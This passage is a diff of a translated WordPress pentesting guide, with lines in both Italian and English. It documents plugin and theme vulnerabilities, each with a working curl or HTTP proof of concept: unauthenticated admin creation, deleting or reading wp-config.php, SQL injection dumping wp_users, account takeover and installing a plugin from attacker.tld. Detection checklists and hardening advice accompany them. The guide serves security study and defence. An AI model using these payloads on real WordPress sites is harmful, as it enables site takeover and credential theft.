/wp-json/wp/v2/users` con un array di ruolo elevato. +- Impact: elevazione di privilegi non autenticata a amministratore creando un nuovo account amministratore tramite la core users REST route. +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore). +- Exploited route: `POST /wp-json/wp/v2/users` con un array ruolo elevato. PoC ```http @@ -391,31 +391,31 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -Perché funziona +Why it works -- Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli di capability. -- Il core di WordPress si aspetta la capability `create_users` per questa route; l'hack del plugin la bypassa impostando direttamente il contesto dell'utente corrente dall'header. +- Il plugin mappa un header controllato dal client allo stato di autenticazione e bypassa i controlli di capability. +- WordPress core si aspetta la capability `create_users` per questa route; il plugin la bypassa impostando direttamente il contesto dell'utente corrente a partire dall'header. -Indicatori di successo attesi +Expected success indicators - HTTP 201 con un body JSON che descrive l'utente creato. - Un nuovo utente admin visibile in `wp-admin/users.php`. -Checklist di rilevamento +Detection checklist -- Cerca con grep `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs che leggono header personalizzati per impostare il contesto utente (es. `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Revisiona le registrazioni REST per callback privilegiate che non hanno controlli robusti di `permission_callback` e invece si affidano agli header della richiesta. -- Cerca utilizzi delle funzioni core di gestione utenti (`wp_insert_user`, `wp_create_user`) all'interno di handler REST che sono protetti solo da valori di header. +- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Revisiona le registrazioni REST per callback privilegiate che non hanno solidi controlli `permission_callback` e che invece si basano sugli header della richiesta. +- Cerca l'uso di funzioni core di gestione utenti (`wp_insert_user`, `wp_create_user`) all'interno di handler REST che sono vincolati solo dai valori degli header. -### Cancellazione arbitraria di file non autenticata via wp_ajax_nopriv (Litho Theme <= 3.0) +### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) -WordPress themes e plugin frequentemente espongono handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando la variante **_nopriv_** è usata **il callback diventa raggiungibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve implementare inoltre: +WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: -1. Un **controllo di capability** (es. `current_user_can()` o almeno `is_user_logged_in()`), e -2. Un **CSRF nonce** validato con `check_ajax_referer()` / `wp_verify_nonce()`, e -3. **Stretta sanitizzazione / validazione degli input**. +1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and +2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and +3. **Strict input sanitisation / validation**. -Il tema multipurpose Litho (< 3.1) si è dimenticato di questi 3 controlli nella feature *Remove Font Family* e ha finito per includere il seguente codice (semplificato): +Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella funzionalità *Remove Font Family* e ha finito per distribuire il seguente codice (semplificato): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -434,37 +434,37 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Problemi introdotti da questo snippet: +Issues introduced by this snippet: -* **Accesso non autenticato** – l'hook `wp_ajax_nopriv_` è registrato. -* **Nessun controllo nonce / capability** – qualsiasi visitatore può raggiungere l'endpoint. -* **Nessuna sanitizzazione del percorso** – la stringa controllata dall'utente `fontfamily` viene concatenata a un percorso del filesystem senza filtraggio, permettendo il classico traversal `../../`. +* **Accesso non autenticato** – the `wp_ajax_nopriv_` hook is registered. +* **Nessun nonce / capability check** – qualsiasi visitatore può raggiungere l'endpoint. +* **Nessuna sanificazione del percorso** – la stringa controllata dall'utente `fontfamily` viene concatenata a un percorso del filesystem senza filtraggio, consentendo il classico traversal `../../`. #### Sfruttamento -Un attaccante può eliminare qualsiasi file o directory **al di sotto della directory base degli uploads** (normalmente `/wp-content/uploads/`) inviando una singola HTTP POST request: +Un attaccante può eliminare qualsiasi file o directory **al di sotto della directory base uploads** (normalmente `/wp-content/uploads/`) inviando una singola richiesta HTTP POST: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Poiché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze `../` sono sufficienti in un'installazione predefinita. Eliminando `wp-config.php` WordPress viene forzato nella *procedura guidata d'installazione* al prossimo accesso, permettendo un takeover completo del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin). +Poiché `wp-config.php` risiede al di fuori della cartella *uploads*, quattro sequenze `../` sono sufficienti in un'installazione predefinita. Cancellare `wp-config.php` forza WordPress nella *procedura di installazione* alla visita successiva, abilitando un full site take-over (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin). -Altri target impattanti includono file `.php` di plugin/theme (per compromettere plugin di sicurezza) o regole `.htaccess`. +Altri target rilevanti includono i file `.php` di plugin/tema (per compromettere plugin di sicurezza) o le regole `.htaccess`. -#### Checklist di rilevamento +#### Detection checklist -* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiama helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). -* Concatenazione di input utente non sanitizzato nei path (cerca `$_POST`, `$_GET`, `$_REQUEST`). +* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiami helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.). +* Concatenazione di input utente non sanitizzato nei percorsi (cerca `$_POST`, `$_GET`, `$_REQUEST`). * Assenza di `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`. --- -### Escalation di privilegi tramite ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role") +### Privilege escalation via ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role") -Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il(i) ruolo(i) originale(i) in user meta in modo da poterli ripristinare successivamente. Se il percorso di ripristino si basa solo su parametri di richiesta (es., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare le capabilities e un nonce valido, questo si trasforma in una escalation di privilegi verticale. +Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il/i ruolo/i originale/i nei user meta in modo che possano essere ripristinati successivamente. Se il percorso di ripristino si basa soltanto su parametri della richiesta (es., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare le capabilities e un nonce valido, questo diventa una vertical privilege escalation. -Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=` se il nome utente compariva in un array interno `$options['viewing_admin_as_role_are']`, ma non effettuava né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati da user meta `_asenha_view_admin_as_original_roles`: +Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=` se lo username appariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati nei user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -481,9 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } ``` Perché è sfruttabile -- Si affida a `$_REQUEST['reset-for']` e a un'opzione del plugin senza autorizzazione lato server. -- Se un utente aveva precedentemente privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` e poi è stato declassato, può ripristinarli richiamando il percorso di reset. -- In alcune installazioni, qualsiasi utente autenticato potrebbe innescare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione difettosa). +- Si fida di `$_REQUEST['reset-for']` e di un'opzione del plugin senza autorizzazione lato server. +- Se un utente in precedenza aveva privilegi maggiori salvati in `_asenha_view_admin_as_original_roles` e è stato degradato, può ripristinarli raggiungendo il percorso di reset. +- In alcune installazioni, qualsiasi utente autenticato potrebbe avviare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (controllo di autorizzazione difettoso). Sfruttamento (esempio) ```bash @@ -493,23 +493,23 @@ Sfruttamento (esempio) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Sulle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., `administrator`), escalando effettivamente i privilegi. +Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., `administrator`), elevando di fatto i privilegi. Detection checklist -- Cerca funzionalità di role-switching che persistono “original roles” in user meta (es., `_asenha_view_admin_as_original_roles`). -- Individua percorsi di reset/restore che: -- Read usernames from `$_REQUEST` / `$_GET` / `$_POST`. -- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`. -- Authorize based on a plugin option array (es., `viewing_admin_as_role_are`) instead of the actor’s capabilities. +- Cerca feature di role-switching che persistono i “ruoli originali” nei user meta (es., `_asenha_view_admin_as_original_roles`). +- Identifica reset/restore paths che: +- Leggono username da `$_REQUEST` / `$_GET` / `$_POST`. +- Modificano i ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`. +- Autorizzano basandosi su un array di option del plugin (es., `viewing_admin_as_role_are`) invece che sulle capabilities dell'attore. --- -### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) +### Escalation di privilegi non autenticata via cookie‑trusted user switching su public init (Service Finder “sf-booking”) -Alcuni plugin collegano helper di user-switching all'hook pubblico `init` e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare autenticazione, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario. +Alcuni plugin collegano gli user-switching helper all'hook pubblico `init` e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare l'autenticazione, capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario. -Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1): +Pattern tipico vulnerabile (semplificato da Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -540,9 +540,9 @@ wp_die('No original user found to switch back to.'); ``` Perché è sfruttabile -- Il hook pubblico `init` rende l'handler raggiungibile da utenti non autenticati (nessun controllo `is_user_logged_in()`). -- L'identità viene ricavata da un cookie modificabile dal client (`original_user_id`). -- La chiamata diretta a `wp_set_auth_cookie($uid)` effettua il login del richiedente come quell'utente senza alcun controllo di capability/nonce. +- Il hook pubblico `init` rende il handler raggiungibile da utenti non autenticati (nessuna guardia `is_user_logged_in()`). +- L'identità è ricavata da un cookie modificabile dal client (`original_user_id`). +- Una chiamata diretta a `wp_set_auth_cookie($uid)` autentica il richiedente come quell'utente senza alcun controllo di capability/nonce. Sfruttamento (non autenticato) ```http @@ -556,24 +556,24 @@ Connection: close ### Considerazioni WAF per WordPress/plugin CVEs -I WAF edge/server generici sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto in WordPress/plugin sono bug di logica/autenticazione specifici dell'applicazione che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin. +Generic edge/server WAFs sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità WordPress/plugin ad alto impatto sono bug di logica/auth specifici dell'applicazione che sembrano traffico benigno a meno che il motore non capisca le route di WordPress e la semantica dei plugin. Offensive notes -- Mirare agli endpoint specifici dei plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Provare prima i percorsi non autenticati (AJAX `nopriv`, REST con permissive `permission_callback`, shortcodes pubblici). I payload di default spesso riescono senza obfuscazione. -- Casi tipici ad alto impatto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation. +- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. Defensive notes -- Non fare affidamento sulle signature generiche del WAF per proteggere CVE dei plugin. Implementa patch virtuali a livello applicativo specifiche per la vulnerabilità o aggiorna rapidamente. -- Preferisci controlli positive-security nel codice (capabilities, nonces, validazione rigorosa degli input) rispetto a filtri regex negativi. +- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly. +- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters. ## Protezione WordPress ### Aggiornamenti regolari -Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php: +Assicurati che WordPress, plugin e temi siano aggiornati. Conferma anche che l'aggiornamento automatico sia abilitato in wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); @@ -589,16 +589,16 @@ Inoltre, **installa solo plugin e temi WordPress affidabili**. ### **Altre raccomandazioni** -- Rimuovere l'utente predefinito **admin** -- Usare **password forti** e **2FA** -- Periodicamente **rivedere** i **permessi** degli utenti -- **Limitare i tentativi di login** per prevenire attacchi Brute Force +- Rimuovi l'utente predefinito **admin** +- Usa **password robuste** e **2FA** +- Revisiona periodicamente i **permessi** degli utenti +- Limita i tentativi di login per prevenire attacchi Brute Force - Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP. -### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) +### SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2) -Il plugin WP Job Portal recruitment esponeva un task **savecategory** che, in definitiva, esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`: +Il plugin di recruitment WP Job Portal esponeva un task **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -610,17 +610,17 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " ``` Problemi introdotti da questo snippet: -1. **Unsanitised user input** – `parentid` proviene direttamente dalla richiesta HTTP. -2. **String concatenation inside the WHERE clause** – manca `is_numeric()` / `esc_sql()` / prepared statement. -3. **Unauthenticated reachability** – anche se l'azione è eseguita tramite `admin-post.php`, l'unico controllo in atto è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`. +1. **Input utente non sanificato** – `parentid` proviene direttamente dalla richiesta HTTP. +2. **Concatenazione di stringhe all'interno della clausola WHERE** – nessun `is_numeric()` / `esc_sql()` / prepared statement. +3. **Accessibilità non autenticata** – anche se l'azione è eseguita tramite `admin-post.php`, l'unico controllo presente è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`. #### Sfruttamento -1. Recupera un nonce valido: +1. Prendi un nonce fresco: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. Inietta SQL arbitrario sfruttando `parentid`: +2. Inietta SQL arbitrario abusando di `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -La risposta rivela il risultato della query iniettata o altera il database, dimostrando la presenza di SQLi. +La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la vulnerabilità SQLi. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Un altro task, **downloadcustomfile**, permetteva ai visitatori di scaricare **qualsiasi file sul disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`: +Un'altra task, **downloadcustomfile**, permetteva ai visitatori di scaricare **qualsiasi file sul disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` è controllato dall'attaccante e concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è una **CSRF nonce** che può essere recuperata dalla pagina resume. +`$file_name` è controllato dall'attaccante ed è concatenato **senza sanitisation**. Di nuovo, l'unica barriera è una **CSRF nonce** che può essere recuperata dalla pagina resume. #### Exploitation ```bash @@ -652,11 +652,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \ ``` Il server risponde con il contenuto di `wp-config.php`, leaking DB credentials and auth keys. -## Presa di controllo dell'account non autenticata via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) +## Compromissione di account non autenticata via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) -Molti temi/plugin forniscono helper per "social login" esposti tramite admin-ajax.php. Se un'azione AJAX non autenticata (wp_ajax_nopriv_...) si fida di identificatori forniti dal client quando i dati del provider mancano e poi chiama wp_set_auth_cookie(), questo diventa un bypass completo dell'autenticazione. +Molti theme/plugin distribuiscono helper per "social login" esposti tramite admin-ajax.php. Se un'azione AJAX non autenticata (wp_ajax_nopriv_...) si fida di identificatori forniti dal client quando mancano i dati del provider e poi invoca wp_set_auth_cookie(), questo diventa un full authentication bypass. -Typical flawed pattern (simplified) +Pattern tipico difettoso (semplificato) ```php public function check_login() { // ... request parsing ... @@ -688,14 +688,14 @@ wp_send_json(['status' => 'not_user']); Perché è sfruttabile - Accessibile senza autenticazione tramite admin-ajax.php (azione wp_ajax_nopriv_…). -- Nessun controllo di nonce/capability prima della modifica di stato. -- Manca la verifica del provider OAuth/OpenID; il ramo di default accetta input dell'attaccante. +- Mancano controlli nonce/capability prima di modificare lo stato. +- Mancata verifica del provider OAuth/OpenID; il ramo di default accetta l'input dell'attaccante. - get_user_by('email', $_POST['id']) seguito da wp_set_auth_cookie($uid) autentica il richiedente come qualsiasi indirizzo email esistente. Sfruttamento (senza autenticazione) -- Prerequisiti: l'attaccante può raggiungere /wp-admin/admin-ajax.php e conosce/indovina un indirizzo email utente valido. -- Imposta provider su un valore non supportato (o omettendolo) per raggiungere il ramo di default e inviare id=. +- Prerequisiti: l'attaccante può raggiungere /wp-admin/admin-ajax.php e conosce/indovina un'email utente valida. +- Impostare provider su un valore non supportato (o ometterlo) per raggiungere il ramo di default e passare id=. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -708,41 +708,41 @@ action=&using=bogus&id=admin%40example.com curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ -d "action=&using=bogus&id=admin%40example.com" ``` -Indicatori di successo attesi +Expected success indicators -- HTTP 200 con body JSON tipo {"status":"success","message":"Login successfully."}. -- Set-Cookie: wordpress_logged_in_* per l'utente vittima; le richieste successive sono autenticate. +- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. -Trovare il nome dell'action +Finding the action name -- Ispeziona il tema/plugin per registrazioni add_action('wp_ajax_nopriv_...', '...') nel codice di social login (es., framework/add-ons/social-login/class-social-login.php). -- Grep per wp_set_auth_cookie(), get_user_by('email', ...) nei gestori AJAX. +- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). +- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. -Checklist di rilevamento +Detection checklist -- Log web che mostrano POST non autenticati a /wp-admin/admin-ajax.php con l'action social-login e id=. -- Risposte 200 con il JSON di successo immediatamente precedenti a traffico autenticato dallo stesso IP/User-Agent. +- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. +- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. -Mitigazioni +Hardening -- Non derivare l'identità dall'input del client. Accetta solo email/ID che provengono da un token/ID del provider validato. -- Richiedi CSRF nonces e controlli di capability anche per helper di login; evita di registrare wp_ajax_nopriv_ a meno che non sia strettamente necessario. -- Valida e verifica le risposte OAuth/OIDC lato server; rifiuta provider mancanti/invalidi (no fallback a POST id). -- Considera la disabilitazione temporanea del social login o un patch virtuale al bordo (bloccare l'action vulnerabile) fino alla risoluzione. +- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID. +- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary. +- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id). +- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed. -Comportamento corretto (Jobmonster 4.8.0) +Patched behaviour (Jobmonster 4.8.0) -- Rimosso il fallback insicuro da $_POST['id']; $user_email deve provenire dai branch provider verificati in switch($_POST['using']). +- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). -## Escalation di privilegi non autenticata tramite emissione di token/chiave REST su identità prevedibile (OttoKit/SureTriggers ≤ 1.0.82) +## Escalation di privilegi non autenticata tramite minting di token/chiavi REST su identità prevedibile (OttoKit/SureTriggers ≤ 1.0.82) -Alcuni plugin espongono endpoint REST che emettono “connection keys” riutilizzabili o token senza verificare le capability del chiamante. Se la route si autentica solo su un attributo indovinabile (es., username) e non lega la chiave a un utente/sessione con controlli di capability, un attaccante non autenticato può emettere una chiave e invocare azioni privilegiate (creazione account admin, azioni del plugin → RCE). +Alcuni plugin espongono endpoint REST che mintano reusable “connection keys” o token senza verificare le capability del chiamante. Se la route autentica solo su un attributo prevedibile (es., username) e non vincola la key a un utente/sessione con controlli di capability, un attacker non autenticato può mintare una key e invocare azioni privilegiate (creazione account admin, azioni del plugin → RCE). - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback -- Impact: full takeover by chaining the minted key to internal privileged actions +- Impact: presa completa del controllo concatenando la key mintata ad azioni privilegiate interne -PoC – emetti una connection key e usala +PoC – generare una connection key e usarla ```bash # 1) Obtain key (unauthenticated). Exact payload varies per plugin curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ @@ -757,28 +757,28 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` Perché è sfruttabile -- Route REST sensibile protetta solo da una prova di identità a bassa entropia (username) o da permission_callback mancante -- Nessun enforcement delle capability; la chiave emessa viene accettata come bypass universale +- Route REST sensibile protetta solo da una prova d'identità a bassa entropia (username) o da permission_callback mancante +- Nessun controllo delle capability; la chiave mintata viene accettata come bypass universale Checklist di rilevamento -- Esegui grep sul codice del plugin per register_rest_route(..., [ 'permission_callback' => '__return_true' ]) -- Qualsiasi route che emette token/chiavi basate su identità fornita nella richiesta (username/email) senza collegarle a un utente autenticato o a una capability -- Cerca route successive che accettano la token/chiave emessa senza controlli di capability lato server +- Usa grep sul codice del plugin per register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- Qualsiasi route che emette token/chiavi basandosi su identità fornite nella request (username/email) senza collegarle a un utente autenticato o a una capability +- Cerca route successive che accettano il token/chiave mintata senza controlli di capability lato server Mitigazioni - Per qualsiasi route REST privilegiata: richiedere un permission_callback che applichi current_user_can() per la capability richiesta -- Non emettere chiavi a lunga durata basate su identità fornite dal client; se necessario, rilasciare token a breve durata vincolati all'utente dopo l'autenticazione e ricontrollare le capability al momento dell'uso -- Valida il contesto utente del chiamante (wp_set_current_user da solo non è sufficiente) e rifiuta le richieste dove !is_user_logged_in() || !current_user_can() +- Non generare chiavi a lunga durata basate sull'identità fornita dal client; se necessario, emettere token a breve durata, legati all'utente, dopo autenticazione e riaffermare le capability all'uso +- Validare il contesto utente del chiamante (wp_set_current_user is not sufficient alone) e respingere le richieste dove !is_user_logged_in() || !current_user_can() --- -## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) +## Nonce gate misuse → installazione arbitraria di plugin non autenticata (FunnelKit Automations ≤ 3.5.3) -Nonces prevengono il CSRF, non l'autorizzazione. Se il codice interpreta il superamento di un nonce come via libera e poi salta i controlli di capability per operazioni privilegiate (es., install/activate plugins), attaccanti non autenticati possono soddisfare un requisito di nonce debole e ottenere RCE installando un plugin backdoored o vulnerabile. +Nonces prevent CSRF, not authorization. Se il codice tratta il superamento del nonce come via libera e poi salta i controlli di capability per operazioni privilegiate (es., install/activate plugins), attaccanti non autenticati possono soddisfare un requisito di nonce debole e raggiungere RCE installando un plugin backdoored o vulnerabile. -- Vulnerable path: plugin/install_and_activate -- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” -- Impact: compromissione completa tramite installazione/attivazione arbitraria di plugin +- Percorso vulnerabile: plugin/install_and_activate +- Difetto: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” +- Impatto: compromissione completa tramite installazione/attivazione arbitraria di plugin PoC (la forma dipende dal plugin; solo illustrativo) ```bash @@ -786,23 +786,23 @@ curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` -Checklist di rilevamento -- REST/AJAX handlers che modificano plugin/theme con solo wp_verify_nonce()/check_admin_referer() e senza controllo di capability -- Qualsiasi path di codice che imposti $skip_caps = true dopo la validazione del nonce +Detection checklist +- Gestori REST/AJAX che modificano plugin/theme con solo wp_verify_nonce()/check_admin_referer() e senza capability check +- Qualsiasi percorso di codice che imposta $skip_caps = true dopo la validazione del nonce -Rafforzamento -- Considera sempre i nonces solo come CSRF tokens; applica i controlli di capability indipendentemente dallo stato del nonce +Hardening +- Tratta sempre i nonces solo come token CSRF; applica i controlli di capability indipendentemente dallo stato del nonce - Richiedi current_user_can('install_plugins') e current_user_can('activate_plugins') prima di raggiungere il codice dell'installer -- Rifiuta l'accesso non autenticato; evita di esporre azioni AJAX nopriv per flussi privilegiati +- Rifiuta accessi non autenticati; evita di esporre azioni AJAX nopriv per flussi privilegiati --- -## SQLi non autenticato tramite il parametro s (search) nelle azioni depicter-* (Depicter Slider ≤ 3.6.1) +## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) -Diverse action depicter-* consumavano il parametro s (search) e lo concatenavano in query SQL senza parameterizzazione. +Multiple depicter-* actions accettavano il parametro s (search) e lo concatenavano in query SQL senza parametrizzazione. - Parameter: s (search) -- Flaw: concatenazione diretta di stringhe nelle clausole WHERE/LIKE; assenza di prepared statements e sanitizzazione +- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization - Impact: esfiltrazione del database (utenti, hash), movimento laterale PoC @@ -813,34 +813,34 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` Checklist di rilevamento -- Eseguire grep per depicter-* action handlers e l'uso diretto di $_GET['s'] o $_POST['s'] in SQL -- Rivedere le query personalizzate passate a $wpdb->get_results()/query() che concatenano s +- Grep per i depicter-* action handlers e l'uso diretto di $_GET['s'] o $_POST['s'] in SQL +- Controllare le query personalizzate passate a $wpdb->get_results()/query() che concatenano s -Rafforzamento +Mitigazioni - Usare sempre $wpdb->prepare() o i placeholder di wpdb; rifiutare metacaratteri inaspettati lato server -- Aggiungere una allowlist rigorosa per s e normalizzare al charset/lunghezza attesi +- Aggiungere una allowlist stretta per s e normalizzare al charset/lunghezza attesi --- -## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) +## Inclusione locale di file non autenticata via percorso template/file non validato (Kubio AI Page Builder ≤ 2.5.1) -Accettare percorsi controllati dall'attaccante in un parametro template senza normalizzazione/contenimento permette di leggere file locali arbitrari, e talvolta l'esecuzione di codice se file PHP/log includibili vengono caricati a runtime. +Accettare percorsi controllati dall'attaccante in un parametro template senza normalizzazione/contenimento permette la lettura di file locali arbitrari, e talvolta l'esecuzione di codice se file PHP/log includibili vengono inclusi in fase di runtime. - Parameter: __kubio-site-edit-iframe-classic-template -- Flaw: no normalization/allowlisting; traversal permitted -- Impact: divulgazione di segreti (wp-config.php), possibile RCE in ambienti specifici (log poisoning, includable PHP) +- Difetto: nessuna normalizzazione/allowlisting; traversal permesso +- Impatto: esposizione di segreti (wp-config.php), potenziale RCE in ambienti specifici (log poisoning, includable PHP) PoC – leggere wp-config.php ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` Checklist di rilevamento -- Qualsiasi handler che concatena path di richiesta in sink include()/require()/read senza verifica di 